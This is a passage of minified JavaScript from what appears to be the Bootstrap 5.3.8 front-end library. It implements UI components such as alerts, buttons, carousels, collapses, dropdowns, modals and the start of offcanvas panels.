TypeError(`${this.constructor.NAME.toUpperCase()}: Option \"${r}\" provided type \"${i}\" but expected type \"${n}\".`)}}}class Re extends Me{constructor(t,e){super(),(t=ne(t))&&(this._element=t,this._config=this._getConfig(e),zt.set(this._element,this.constructor.DATA_KEY,this))}dispose(){zt.remove(this._element,this.constructor.DATA_KEY),Oe.off(this._element,this.constructor.EVENT_KEY);for(const t of Object.getOwnPropertyNames(this))this[t]=null}_queueCallback(t,e,r=!0){fe(t,e,r)}_getConfig(t){return t=this._mergeConfigObj(t,this._element),t=this._configAfterMerge(t),this._typeCheckConfig(t),t}static getInstance(t){return zt.get(ne(t),this.DATA_KEY)}static getOrCreateInstance(t,e={}){return this.getInstance(t)||new this(t,\"object\"==typeof e?e:null)}static get VERSION(){return\"5.3.8\"}static get DATA_KEY(){return`bs.${this.NAME}`}static get EVENT_KEY(){return`.${this.DATA_KEY}`}static eventName(t){return`${t}${this.EVENT_KEY}`}}const Le=t=>{let e=t.getAttribute(\"data-bs-target\");if(!e||\"#\"===e){let r=t.getAttribute(\"href\");if(!r||!r.includes(\"#\")&&!r.startsWith(\".\"))return null;r.includes(\"#\")&&!r.startsWith(\"#\")&&(r=`#${r.split(\"#\")[1]}`),e=r&&\"#\"!==r?r.trim():null}return e?e.split(\",\").map(t=>$t(t)).join(\",\"):null},Qe={find:(t,e=document.documentElement)=>[].concat(...Element.prototype.querySelectorAll.call(e,t)),findOne:(t,e=document.documentElement)=>Element.prototype.querySelector.call(e,t),children:(t,e)=>[].concat(...t.children).filter(t=>t.matches(e)),parents(t,e){const r=[];let n=t.parentNode.closest(e);for(;n;)r.push(n),n=n.parentNode.closest(e);return r},prev(t,e){let r=t.previousElementSibling;for(;r;){if(r.matches(e))return[r];r=r.previousElementSibling}return[]},next(t,e){let r=t.nextElementSibling;for(;r;){if(r.matches(e))return[r];r=r.nextElementSibling}return[]},focusableChildren(t){const e=[\"a\",\"button\",\"input\",\"textarea\",\"select\",\"details\",\"[tabindex]\",'[contenteditable=\"true\"]'].map(t=>`${t}:not([tabindex^=\"-\"])`).join(\",\");return this.find(e,t).filter(t=>!oe(t)&&ie(t))},getSelectorFromElement(t){const e=Le(t);return e&&Qe.findOne(e)?e:null},getElementFromSelector(t){const e=Le(t);return e?Qe.findOne(e):null},getMultipleElementsFromSelector(t){const e=Le(t);return e?Qe.find(e):[]}},Ge=(t,e=\"hide\")=>{const r=`click.dismiss${t.EVENT_KEY}`,n=t.NAME;Oe.on(document,r,`[data-bs-dismiss=\"${n}\"]`,function(r){if([\"A\",\"AREA\"].includes(this.tagName)&&r.preventDefault(),oe(this))return;const i=Qe.getElementFromSelector(this)||this.closest(`.${n}`);t.getOrCreateInstance(i)[e]()})},Pe=\".bs.alert\",We=`close${Pe}`,Ke=`closed${Pe}`;class He extends Re{static get NAME(){return\"alert\"}close(){if(Oe.trigger(this._element,We).defaultPrevented)return;this._element.classList.remove(\"show\");const t=this._element.classList.contains(\"fade\");this._queueCallback(()=>this._destroyElement(),this._element,t)}_destroyElement(){this._element.remove(),Oe.trigger(this._element,Ke),this.dispose()}static jQueryInterface(t){return this.each(function(){const e=He.getOrCreateInstance(this);if(\"string\"==typeof t){if(void 0===e[t]||t.startsWith(\"_\")||\"constructor\"===t)throw new TypeError(`No method named \"${t}\"`);e[t](this)}})}}Ge(He,\"close\"),de(He);const Ue='[data-bs-toggle=\"button\"]';class Ye extends Re{static get NAME(){return\"button\"}toggle(){this._element.setAttribute(\"aria-pressed\",this._element.classList.toggle(\"active\"))}static jQueryInterface(t){return this.each(function(){const e=Ye.getOrCreateInstance(this);\"toggle\"===t&&e[t]()})}}Oe.on(document,\"click.bs.button.data-api\",Ue,t=>{t.preventDefault();const e=t.target.closest(Ue);Ye.getOrCreateInstance(e).toggle()}),de(Ye);const Je=\".bs.swipe\",Ze=`touchstart${Je}`,qe=`touchmove${Je}`,Ve=`touchend${Je}`,ze=`pointerdown${Je}`,Xe=`pointerup${Je}`,$e={endCallback:null,leftCallback:null,rightCallback:null},tr={endCallback:\"(function|null)\",leftCallback:\"(function|null)\",rightCallback:\"(function|null)\"};class er extends Me{constructor(t,e){super(),this._element=t,t&&er.isSupported()&&(this._config=this._getConfig(e),this._deltaX=0,this._supportPointerEvents=Boolean(window.PointerEvent),this._initEvents())}static get Default(){return $e}static get DefaultType(){return tr}static get NAME(){return\"swipe\"}dispose(){Oe.off(this._element,Je)}_start(t){this._supportPointerEvents?this._eventIsPointerPenTouch(t)&&(this._deltaX=t.clientX):this._deltaX=t.touches[0].clientX}_end(t){this._eventIsPointerPenTouch(t)&&(this._deltaX=t.clientX-this._deltaX),this._handleSwipe(),me(this._config.endCallback)}_move(t){this._deltaX=t.touches&&t.touches.length>1?0:t.touches[0].clientX-this._deltaX}_handleSwipe(){const t=Math.abs(this._deltaX);if(t<=40)return;const e=t/this._deltaX;this._deltaX=0,e&&me(e>0?this._config.rightCallback:this._config.leftCallback)}_initEvents(){this._supportPointerEvents?(Oe.on(this._element,ze,t=>this._start(t)),Oe.on(this._element,Xe,t=>this._end(t)),this._element.classList.add(\"pointer-event\")):(Oe.on(this._element,Ze,t=>this._start(t)),Oe.on(this._element,qe,t=>this._move(t)),Oe.on(this._element,Ve,t=>this._end(t)))}_eventIsPointerPenTouch(t){return this._supportPointerEvents&&(\"pen\"===t.pointerType||\"touch\"===t.pointerType)}static isSupported(){return\"ontouchstart\"in document.documentElement||navigator.maxTouchPoints>0}}const rr=\".bs.carousel\",nr=\".data-api\",ir=\"ArrowLeft\",or=\"ArrowRight\",ar=\"next\",sr=\"prev\",lr=\"left\",cr=\"right\",ur=`slide${rr}`,pr=`slid${rr}`,dr=`keydown${rr}`,mr=`mouseenter${rr}`,fr=`mouseleave${rr}`,hr=`dragstart${rr}`,gr=`load${rr}${nr}`,Ar=`click${rr}${nr}`,br=\"carousel\",yr=\"active\",vr=\".active\",xr=\".carousel-item\",wr=vr+xr,_r={[ir]:cr,[or]:lr},Cr={interval:5e3,keyboard:!0,pause:\"hover\",ride:!1,touch:!0,wrap:!0},Ir={interval:\"(number|boolean)\",keyboard:\"boolean\",pause:\"(string|boolean)\",ride:\"(boolean|string)\",touch:\"boolean\",wrap:\"boolean\"};class kr extends Re{constructor(t,e){super(t,e),this._interval=null,this._activeElement=null,this._isSliding=!1,this.touchTimeout=null,this._swipeHelper=null,this._indicatorsElement=Qe.findOne(\".carousel-indicators\",this._element),this._addEventListeners(),this._config.ride===br&&this.cycle()}static get Default(){return Cr}static get DefaultType(){return Ir}static get NAME(){return\"carousel\"}next(){this._slide(ar)}nextWhenVisible(){!document.hidden&&ie(this._element)&&this.next()}prev(){this._slide(sr)}pause(){this._isSliding&&ee(this._element),this._clearInterval()}cycle(){this._clearInterval(),this._updateInterval(),this._interval=setInterval(()=>this.nextWhenVisible(),this._config.interval)}_maybeEnableCycle(){this._config.ride&&(this._isSliding?Oe.one(this._element,pr,()=>this.cycle()):this.cycle())}to(t){const e=this._getItems();if(t>e.length-1||t<0)return;if(this._isSliding)return void Oe.one(this._element,pr,()=>this.to(t));const r=this._getItemIndex(this._getActive());if(r===t)return;const n=t>r?ar:sr;this._slide(n,e[t])}dispose(){this._swipeHelper&&this._swipeHelper.dispose(),super.dispose()}_configAfterMerge(t){return t.defaultInterval=t.interval,t}_addEventListeners(){this._config.keyboard&&Oe.on(this._element,dr,t=>this._keydown(t)),\"hover\"===this._config.pause&&(Oe.on(this._element,mr,()=>this.pause()),Oe.on(this._element,fr,()=>this._maybeEnableCycle())),this._config.touch&&er.isSupported()&&this._addTouchEventListeners()}_addTouchEventListeners(){for(const t of Qe.find(\".carousel-item img\",this._element))Oe.on(t,hr,t=>t.preventDefault());const t={leftCallback:()=>this._slide(this._directionToOrder(lr)),rightCallback:()=>this._slide(this._directionToOrder(cr)),endCallback:()=>{\"hover\"===this._config.pause&&(this.pause(),this.touchTimeout&&clearTimeout(this.touchTimeout),this.touchTimeout=setTimeout(()=>this._maybeEnableCycle(),500+this._config.interval))}};this._swipeHelper=new er(this._element,t)}_keydown(t){if(/input|textarea/i.test(t.target.tagName))return;const e=_r[t.key];e&&(t.preventDefault(),this._slide(this._directionToOrder(e)))}_getItemIndex(t){return this._getItems().indexOf(t)}_setActiveIndicatorElement(t){if(!this._indicatorsElement)return;const e=Qe.findOne(vr,this._indicatorsElement);e.classList.remove(yr),e.removeAttribute(\"aria-current\");const r=Qe.findOne(`[data-bs-slide-to=\"${t}\"]`,this._indicatorsElement);r&&(r.classList.add(yr),r.setAttribute(\"aria-current\",\"true\"))}_updateInterval(){const t=this._activeElement||this._getActive();if(!t)return;const e=Number.parseInt(t.getAttribute(\"data-bs-interval\"),10);this._config.interval=e||this._config.defaultInterval}_slide(t,e=null){if(this._isSliding)return;const r=this._getActive(),n=t===ar,i=e||he(this._getItems(),r,n,this._config.wrap);if(i===r)return;const o=this._getItemIndex(i),a=e=>Oe.trigger(this._element,e,{relatedTarget:i,direction:this._orderToDirection(t),from:this._getItemIndex(r),to:o});if(a(ur).defaultPrevented)return;if(!r||!i)return;const s=Boolean(this._interval);this.pause(),this._isSliding=!0,this._setActiveIndicatorElement(o),this._activeElement=i;const l=n?\"carousel-item-start\":\"carousel-item-end\",c=n?\"carousel-item-next\":\"carousel-item-prev\";i.classList.add(c),le(i),r.classList.add(l),i.classList.add(l);this._queueCallback(()=>{i.classList.remove(l,c),i.classList.add(yr),r.classList.remove(yr,c,l),this._isSliding=!1,a(pr)},r,this._isAnimated()),s&&this.cycle()}_isAnimated(){return this._element.classList.contains(\"slide\")}_getActive(){return Qe.findOne(wr,this._element)}_getItems(){return Qe.find(xr,this._element)}_clearInterval(){this._interval&&(clearInterval(this._interval),this._interval=null)}_directionToOrder(t){return pe()?t===lr?sr:ar:t===lr?ar:sr}_orderToDirection(t){return pe()?t===sr?lr:cr:t===sr?cr:lr}static jQueryInterface(t){return this.each(function(){const e=kr.getOrCreateInstance(this,t);if(\"number\"!=typeof t){if(\"string\"==typeof t){if(void 0===e[t]||t.startsWith(\"_\")||\"constructor\"===t)throw new TypeError(`No method named \"${t}\"`);e[t]()}}else e.to(t)})}}Oe.on(document,Ar,\"[data-bs-slide], [data-bs-slide-to]\",function(t){const e=Qe.getElementFromSelector(this);if(!e||!e.classList.contains(br))return;t.preventDefault();const r=kr.getOrCreateInstance(e),n=this.getAttribute(\"data-bs-slide-to\");return n?(r.to(n),void r._maybeEnableCycle()):\"next\"===je.getDataAttribute(this,\"slide\")?(r.next(),void r._maybeEnableCycle()):(r.prev(),void r._maybeEnableCycle())}),Oe.on(window,gr,()=>{const t=Qe.find('[data-bs-ride=\"carousel\"]');for(const e of t)kr.getOrCreateInstance(e)}),de(kr);const Er=\".bs.collapse\",Br=`show${Er}`,Sr=`shown${Er}`,Dr=`hide${Er}`,Or=`hidden${Er}`,Tr=`click${Er}.data-api`,Fr=\"show\",Nr=\"collapse\",jr=\"collapsing\",Mr=`:scope .${Nr} .${Nr}`,Rr='[data-bs-toggle=\"collapse\"]',Lr={parent:null,toggle:!0},Qr={parent:\"(null|element)\",toggle:\"boolean\"};class Gr extends Re{constructor(t,e){super(t,e),this._isTransitioning=!1,this._triggerArray=[];const r=Qe.find(Rr);for(const t of r){const e=Qe.getSelectorFromElement(t),r=Qe.find(e).filter(t=>t===this._element);null!==e&&r.length&&this._triggerArray.push(t)}this._initializeChildren(),this._config.parent||this._addAriaAndCollapsedClass(this._triggerArray,this._isShown()),this._config.toggle&&this.toggle()}static get Default(){return Lr}static get DefaultType(){return Qr}static get NAME(){return\"collapse\"}toggle(){this._isShown()?this.hide():this.show()}show(){if(this._isTransitioning||this._isShown())return;let t=[];if(this._config.parent&&(t=this._getFirstLevelChildren(\".collapse.show, .collapse.collapsing\").filter(t=>t!==this._element).map(t=>Gr.getOrCreateInstance(t,{toggle:!1}))),t.length&&t[0]._isTransitioning)return;if(Oe.trigger(this._element,Br).defaultPrevented)return;for(const e of t)e.hide();const e=this._getDimension();this._element.classList.remove(Nr),this._element.classList.add(jr),this._element.style[e]=0,this._addAriaAndCollapsedClass(this._triggerArray,!0),this._isTransitioning=!0;const r=`scroll${e[0].toUpperCase()+e.slice(1)}`;this._queueCallback(()=>{this._isTransitioning=!1,this._element.classList.remove(jr),this._element.classList.add(Nr,Fr),this._element.style[e]=\"\",Oe.trigger(this._element,Sr)},this._element,!0),this._element.style[e]=`${this._element[r]}px`}hide(){if(this._isTransitioning||!this._isShown())return;if(Oe.trigger(this._element,Dr).defaultPrevented)return;const t=this._getDimension();this._element.style[t]=`${this._element.getBoundingClientRect()[t]}px`,le(this._element),this._element.classList.add(jr),this._element.classList.remove(Nr,Fr);for(const t of this._triggerArray){const e=Qe.getElementFromSelector(t);e&&!this._isShown(e)&&this._addAriaAndCollapsedClass([t],!1)}this._isTransitioning=!0;this._element.style[t]=\"\",this._queueCallback(()=>{this._isTransitioning=!1,this._element.classList.remove(jr),this._element.classList.add(Nr),Oe.trigger(this._element,Or)},this._element,!0)}_isShown(t=this._element){return t.classList.contains(Fr)}_configAfterMerge(t){return t.toggle=Boolean(t.toggle),t.parent=ne(t.parent),t}_getDimension(){return this._element.classList.contains(\"collapse-horizontal\")?\"width\":\"height\"}_initializeChildren(){if(!this._config.parent)return;const t=this._getFirstLevelChildren(Rr);for(const e of t){const t=Qe.getElementFromSelector(e);t&&this._addAriaAndCollapsedClass([e],this._isShown(t))}}_getFirstLevelChildren(t){const e=Qe.find(Mr,this._config.parent);return Qe.find(t,this._config.parent).filter(t=>!e.includes(t))}_addAriaAndCollapsedClass(t,e){if(t.length)for(const r of t)r.classList.toggle(\"collapsed\",!e),r.setAttribute(\"aria-expanded\",e)}static jQueryInterface(t){const e={};return\"string\"==typeof t&&/show|hide/.test(t)&&(e.toggle=!1),this.each(function(){const r=Gr.getOrCreateInstance(this,e);if(\"string\"==typeof t){if(void 0===r[t])throw new TypeError(`No method named \"${t}\"`);r[t]()}})}}Oe.on(document,Tr,Rr,function(t){(\"A\"===t.target.tagName||t.delegateTarget&&\"A\"===t.delegateTarget.tagName)&&t.preventDefault();for(const t of Qe.getMultipleElementsFromSelector(this))Gr.getOrCreateInstance(t,{toggle:!1}).toggle()}),de(Gr);const Pr=\"dropdown\",Wr=\".bs.dropdown\",Kr=\".data-api\",Hr=\"ArrowUp\",Ur=\"ArrowDown\",Yr=`hide${Wr}`,Jr=`hidden${Wr}`,Zr=`show${Wr}`,qr=`shown${Wr}`,Vr=`click${Wr}${Kr}`,zr=`keydown${Wr}${Kr}`,Xr=`keyup${Wr}${Kr}`,$r=\"show\",tn='[data-bs-toggle=\"dropdown\"]:not(.disabled):not(:disabled)',en=`${tn}.${$r}`,rn=\".dropdown-menu\",nn=pe()?\"top-end\":\"top-start\",on=pe()?\"top-start\":\"top-end\",an=pe()?\"bottom-end\":\"bottom-start\",sn=pe()?\"bottom-start\":\"bottom-end\",ln=pe()?\"left-start\":\"right-start\",cn=pe()?\"right-start\":\"left-start\",un={autoClose:!0,boundary:\"clippingParents\",display:\"dynamic\",offset:[0,2],popperConfig:null,reference:\"toggle\"},pn={autoClose:\"(boolean|string)\",boundary:\"(string|element)\",display:\"string\",offset:\"(array|string|function)\",popperConfig:\"(null|object|function)\",reference:\"(string|element|object)\"};class dn extends Re{constructor(t,e){super(t,e),this._popper=null,this._parent=this._element.parentNode,this._menu=Qe.next(this._element,rn)[0]||Qe.prev(this._element,rn)[0]||Qe.findOne(rn,this._parent),this._inNavbar=this._detectNavbar()}static get Default(){return un}static get DefaultType(){return pn}static get NAME(){return Pr}toggle(){return this._isShown()?this.hide():this.show()}show(){if(oe(this._element)||this._isShown())return;const t={relatedTarget:this._element};if(!Oe.trigger(this._element,Zr,t).defaultPrevented){if(this._createPopper(),\"ontouchstart\"in document.documentElement&&!this._parent.closest(\".navbar-nav\"))for(const t of[].concat(...document.body.children))Oe.on(t,\"mouseover\",se);this._element.focus(),this._element.setAttribute(\"aria-expanded\",!0),this._menu.classList.add($r),this._element.classList.add($r),Oe.trigger(this._element,qr,t)}}hide(){if(oe(this._element)||!this._isShown())return;const t={relatedTarget:this._element};this._completeHide(t)}dispose(){this._popper&&this._popper.destroy(),super.dispose()}update(){this._inNavbar=this._detectNavbar(),this._popper&&this._popper.update()}_completeHide(t){if(!Oe.trigger(this._element,Yr,t).defaultPrevented){if(\"ontouchstart\"in document.documentElement)for(const t of[].concat(...document.body.children))Oe.off(t,\"mouseover\",se);this._popper&&this._popper.destroy(),this._menu.classList.remove($r),this._element.classList.remove($r),this._element.setAttribute(\"aria-expanded\",\"false\"),je.removeDataAttribute(this._menu,\"popper\"),Oe.trigger(this._element,Jr,t)}}_getConfig(t){if(\"object\"==typeof(t=super._getConfig(t)).reference&&!re(t.reference)&&\"function\"!=typeof t.reference.getBoundingClientRect)throw new TypeError(`${Pr.toUpperCase()}: Option \"reference\" provided type \"object\" without a required \"getBoundingClientRect\" method.`);return t}_createPopper(){let t=this._element;\"parent\"===this._config.reference?t=this._parent:re(this._config.reference)?t=ne(this._config.reference):\"object\"==typeof this._config.reference&&(t=this._config.reference);const e=this._getPopperConfig();this._popper=Zt(t,this._menu,e)}_isShown(){return this._menu.classList.contains($r)}_getPlacement(){const t=this._parent;if(t.classList.contains(\"dropend\"))return ln;if(t.classList.contains(\"dropstart\"))return cn;if(t.classList.contains(\"dropup-center\"))return\"top\";if(t.classList.contains(\"dropdown-center\"))return\"bottom\";const e=\"end\"===getComputedStyle(this._menu).getPropertyValue(\"--bs-position\").trim();return t.classList.contains(\"dropup\")?e?on:nn:e?sn:an}_detectNavbar(){return null!==this._element.closest(\".navbar\")}_getOffset(){const{offset:t}=this._config;return\"string\"==typeof t?t.split(\",\").map(t=>Number.parseInt(t,10)):\"function\"==typeof t?e=>t(e,this._element):t}_getPopperConfig(){const t={placement:this._getPlacement(),modifiers:[{name:\"preventOverflow\",options:{boundary:this._config.boundary}},{name:\"offset\",options:{offset:this._getOffset()}}]};return(this._inNavbar||\"static\"===this._config.display)&&(je.setDataAttribute(this._menu,\"popper\",\"static\"),t.modifiers=[{name:\"applyStyles\",enabled:!1}]),{...t,...me(this._config.popperConfig,[void 0,t])}}_selectMenuItem({key:t,target:e}){const r=Qe.find(\".dropdown-menu .dropdown-item:not(.disabled):not(:disabled)\",this._menu).filter(t=>ie(t));r.length&&he(r,e,t===Ur,!r.includes(e)).focus()}static jQueryInterface(t){return this.each(function(){const e=dn.getOrCreateInstance(this,t);if(\"string\"==typeof t){if(void 0===e[t])throw new TypeError(`No method named \"${t}\"`);e[t]()}})}static clearMenus(t){if(2===t.button||\"keyup\"===t.type&&\"Tab\"!==t.key)return;const e=Qe.find(en);for(const r of e){const e=dn.getInstance(r);if(!e||!1===e._config.autoClose)continue;const n=t.composedPath(),i=n.includes(e._menu);if(n.includes(e._element)||\"inside\"===e._config.autoClose&&!i||\"outside\"===e._config.autoClose&&i)continue;if(e._menu.contains(t.target)&&(\"keyup\"===t.type&&\"Tab\"===t.key||/input|select|option|textarea|form/i.test(t.target.tagName)))continue;const o={relatedTarget:e._element};\"click\"===t.type&&(o.clickEvent=t),e._completeHide(o)}}static dataApiKeydownHandler(t){const e=/input|textarea/i.test(t.target.tagName),r=\"Escape\"===t.key,n=[Hr,Ur].includes(t.key);if(!n&&!r)return;if(e&&!r)return;t.preventDefault();const i=this.matches(tn)?this:Qe.prev(this,tn)[0]||Qe.next(this,tn)[0]||Qe.findOne(tn,t.delegateTarget.parentNode),o=dn.getOrCreateInstance(i);if(n)return t.stopPropagation(),o.show(),void o._selectMenuItem(t);o._isShown()&&(t.stopPropagation(),o.hide(),i.focus())}}Oe.on(document,zr,tn,dn.dataApiKeydownHandler),Oe.on(document,zr,rn,dn.dataApiKeydownHandler),Oe.on(document,Vr,dn.clearMenus),Oe.on(document,Xr,dn.clearMenus),Oe.on(document,Vr,tn,function(t){t.preventDefault(),dn.getOrCreateInstance(this).toggle()}),de(dn);const mn=\"backdrop\",fn=\"show\",hn=`mousedown.bs.${mn}`,gn={className:\"modal-backdrop\",clickCallback:null,isAnimated:!1,isVisible:!0,rootElement:\"body\"},An={className:\"string\",clickCallback:\"(function|null)\",isAnimated:\"boolean\",isVisible:\"boolean\",rootElement:\"(element|string)\"};class bn extends Me{constructor(t){super(),this._config=this._getConfig(t),this._isAppended=!1,this._element=null}static get Default(){return gn}static get DefaultType(){return An}static get NAME(){return mn}show(t){if(!this._config.isVisible)return void me(t);this._append();const e=this._getElement();this._config.isAnimated&&le(e),e.classList.add(fn),this._emulateAnimation(()=>{me(t)})}hide(t){this._config.isVisible?(this._getElement().classList.remove(fn),this._emulateAnimation(()=>{this.dispose(),me(t)})):me(t)}dispose(){this._isAppended&&(Oe.off(this._element,hn),this._element.remove(),this._isAppended=!1)}_getElement(){if(!this._element){const t=document.createElement(\"div\");t.className=this._config.className,this._config.isAnimated&&t.classList.add(\"fade\"),this._element=t}return this._element}_configAfterMerge(t){return t.rootElement=ne(t.rootElement),t}_append(){if(this._isAppended)return;const t=this._getElement();this._config.rootElement.append(t),Oe.on(t,hn,()=>{me(this._config.clickCallback)}),this._isAppended=!0}_emulateAnimation(t){fe(t,this._getElement(),this._config.isAnimated)}}const yn=\".bs.focustrap\",vn=`focusin${yn}`,xn=`keydown.tab${yn}`,wn=\"backward\",_n={autofocus:!0,trapElement:null},Cn={autofocus:\"boolean\",trapElement:\"element\"};class In extends Me{constructor(t){super(),this._config=this._getConfig(t),this._isActive=!1,this._lastTabNavDirection=null}static get Default(){return _n}static get DefaultType(){return Cn}static get NAME(){return\"focustrap\"}activate(){this._isActive||(this._config.autofocus&&this._config.trapElement.focus(),Oe.off(document,yn),Oe.on(document,vn,t=>this._handleFocusin(t)),Oe.on(document,xn,t=>this._handleKeydown(t)),this._isActive=!0)}deactivate(){this._isActive&&(this._isActive=!1,Oe.off(document,yn))}_handleFocusin(t){const{trapElement:e}=this._config;if(t.target===document||t.target===e||e.contains(t.target))return;const r=Qe.focusableChildren(e);0===r.length?e.focus():this._lastTabNavDirection===wn?r[r.length-1].focus():r[0].focus()}_handleKeydown(t){\"Tab\"===t.key&&(this._lastTabNavDirection=t.shiftKey?wn:\"forward\")}}const kn=\".fixed-top, .fixed-bottom, .is-fixed, .sticky-top\",En=\".sticky-top\",Bn=\"padding-right\",Sn=\"margin-right\";class Dn{constructor(){this._element=document.body}getWidth(){const t=document.documentElement.clientWidth;return Math.abs(window.innerWidth-t)}hide(){const t=this.getWidth();this._disableOverFlow(),this._setElementAttributes(this._element,Bn,e=>e+t),this._setElementAttributes(kn,Bn,e=>e+t),this._setElementAttributes(En,Sn,e=>e-t)}reset(){this._resetElementAttributes(this._element,\"overflow\"),this._resetElementAttributes(this._element,Bn),this._resetElementAttributes(kn,Bn),this._resetElementAttributes(En,Sn)}isOverflowing(){return this.getWidth()>0}_disableOverFlow(){this._saveInitialAttribute(this._element,\"overflow\"),this._element.style.overflow=\"hidden\"}_setElementAttributes(t,e,r){const n=this.getWidth();this._applyManipulationCallback(t,t=>{if(t!==this._element&&window.innerWidth>t.clientWidth+n)return;this._saveInitialAttribute(t,e);const i=window.getComputedStyle(t).getPropertyValue(e);t.style.setProperty(e,`${r(Number.parseFloat(i))}px`)})}_saveInitialAttribute(t,e){const r=t.style.getPropertyValue(e);r&&je.setDataAttribute(t,e,r)}_resetElementAttributes(t,e){this._applyManipulationCallback(t,t=>{const r=je.getDataAttribute(t,e);null!==r?(je.removeDataAttribute(t,e),t.style.setProperty(e,r)):t.style.removeProperty(e)})}_applyManipulationCallback(t,e){if(re(t))e(t);else for(const r of Qe.find(t,this._element))e(r)}}const On=\".bs.modal\",Tn=`hide${On}`,Fn=`hidePrevented${On}`,Nn=`hidden${On}`,jn=`show${On}`,Mn=`shown${On}`,Rn=`resize${On}`,Ln=`click.dismiss${On}`,Qn=`mousedown.dismiss${On}`,Gn=`keydown.dismiss${On}`,Pn=`click${On}.data-api`,Wn=\"modal-open\",Kn=\"show\",Hn=\"modal-static\",Un={backdrop:!0,focus:!0,keyboard:!0},Yn={backdrop:\"(boolean|string)\",focus:\"boolean\",keyboard:\"boolean\"};class Jn extends Re{constructor(t,e){super(t,e),this._dialog=Qe.findOne(\".modal-dialog\",this._element),this._backdrop=this._initializeBackDrop(),this._focustrap=this._initializeFocusTrap(),this._isShown=!1,this._isTransitioning=!1,this._scrollBar=new Dn,this._addEventListeners()}static get Default(){return Un}static get DefaultType(){return Yn}static get NAME(){return\"modal\"}toggle(t){return this._isShown?this.hide():this.show(t)}show(t){if(this._isShown||this._isTransitioning)return;Oe.trigger(this._element,jn,{relatedTarget:t}).defaultPrevented||(this._isShown=!0,this._isTransitioning=!0,this._scrollBar.hide(),document.body.classList.add(Wn),this._adjustDialog(),this._backdrop.show(()=>this._showElement(t)))}hide(){if(!this._isShown||this._isTransitioning)return;Oe.trigger(this._element,Tn).defaultPrevented||(this._isShown=!1,this._isTransitioning=!0,this._focustrap.deactivate(),this._element.classList.remove(Kn),this._queueCallback(()=>this._hideModal(),this._element,this._isAnimated()))}dispose(){Oe.off(window,On),Oe.off(this._dialog,On),this._backdrop.dispose(),this._focustrap.deactivate(),super.dispose()}handleUpdate(){this._adjustDialog()}_initializeBackDrop(){return new bn({isVisible:Boolean(this._config.backdrop),isAnimated:this._isAnimated()})}_initializeFocusTrap(){return new In({trapElement:this._element})}_showElement(t){document.body.contains(this._element)||document.body.append(this._element),this._element.style.display=\"block\",this._element.removeAttribute(\"aria-hidden\"),this._element.setAttribute(\"aria-modal\",!0),this._element.setAttribute(\"role\",\"dialog\"),this._element.scrollTop=0;const e=Qe.findOne(\".modal-body\",this._dialog);e&&(e.scrollTop=0),le(this._element),this._element.classList.add(Kn);this._queueCallback(()=>{this._config.focus&&this._focustrap.activate(),this._isTransitioning=!1,Oe.trigger(this._element,Mn,{relatedTarget:t})},this._dialog,this._isAnimated())}_addEventListeners(){Oe.on(this._element,Gn,t=>{\"Escape\"===t.key&&(this._config.keyboard?this.hide():this._triggerBackdropTransition())}),Oe.on(window,Rn,()=>{this._isShown&&!this._isTransitioning&&this._adjustDialog()}),Oe.on(this._element,Qn,t=>{Oe.one(this._element,Ln,e=>{this._element===t.target&&this._element===e.target&&(\"static\"!==this._config.backdrop?this._config.backdrop&&this.hide():this._triggerBackdropTransition())})})}_hideModal(){this._element.style.display=\"none\",this._element.setAttribute(\"aria-hidden\",!0),this._element.removeAttribute(\"aria-modal\"),this._element.removeAttribute(\"role\"),this._isTransitioning=!1,this._backdrop.hide(()=>{document.body.classList.remove(Wn),this._resetAdjustments(),this._scrollBar.reset(),Oe.trigger(this._element,Nn)})}_isAnimated(){return this._element.classList.contains(\"fade\")}_triggerBackdropTransition(){if(Oe.trigger(this._element,Fn).defaultPrevented)return;const t=this._element.scrollHeight>document.documentElement.clientHeight,e=this._element.style.overflowY;\"hidden\"===e||this._element.classList.contains(Hn)||(t||(this._element.style.overflowY=\"hidden\"),this._element.classList.add(Hn),this._queueCallback(()=>{this._element.classList.remove(Hn),this._queueCallback(()=>{this._element.style.overflowY=e},this._dialog)},this._dialog),this._element.focus())}_adjustDialog(){const t=this._element.scrollHeight>document.documentElement.clientHeight,e=this._scrollBar.getWidth(),r=e>0;if(r&&!t){const t=pe()?\"paddingLeft\":\"paddingRight\";this._element.style[t]=`${e}px`}if(!r&&t){const t=pe()?\"paddingRight\":\"paddingLeft\";this._element.style[t]=`${e}px`}}_resetAdjustments(){this._element.style.paddingLeft=\"\",this._element.style.paddingRight=\"\"}static jQueryInterface(t,e){return this.each(function(){const r=Jn.getOrCreateInstance(this,t);if(\"string\"==typeof t){if(void 0===r[t])throw new TypeError(`No method named \"${t}\"`);r[t](e)}})}}Oe.on(document,Pn,'[data-bs-toggle=\"modal\"]',function(t){const e=Qe.getElementFromSelector(this);[\"A\",\"AREA\"].includes(this.tagName)&&t.preventDefault(),Oe.one(e,jn,t=>{t.defaultPrevented||Oe.one(e,Nn,()=>{ie(this)&&this.focus()})});const r=Qe.findOne(\".modal.show\");r&&Jn.getInstance(r).hide();Jn.getOrCreateInstance(e).toggle(this)}),Ge(Jn),de(Jn);const Zn=\".bs.offcanvas\",qn=\".data-api\",Vn=`load${Zn}${qn}`,zn=\"show\",Xn=\"showing\",$n=\"hiding\",ti=\".offcanvas.show\",ei=`show${Zn}`,ri=`shown${Zn}`,ni=`hide${Zn}`,ii=`hidePrevented${Zn}`,oi=`hidden${Zn}`,ai=`resize${Zn}`,si=`click${Zn}${qn}`,li=`keydown.dismiss${Zn}`,ci={backdrop:!0,keyboard:!0,scroll:!1},ui={backdrop:\"(boolean|string)\",keyboard:\"boolean\",scroll:\"boolean\"};class pi extends Re{constructor(t,e){super(t,e),this._isShown=!1,this._backdrop=this._initializeBackDrop(),this._focustrap=this._initializeFocusTrap(),this._addEventListeners()}static get Default(){return ci}static get DefaultType(){return ui}static get NAME(){return\"offcanvas\"}toggle(t){return this._isShown?this.hide():this.show(t)}show(t){if(this._isShown)return;if(Oe.trigger(this._element,ei,{relatedTarget:t}).defaultPrevented)return;this._isShown=!0,this._backdrop.show(),this._config.scroll||(new 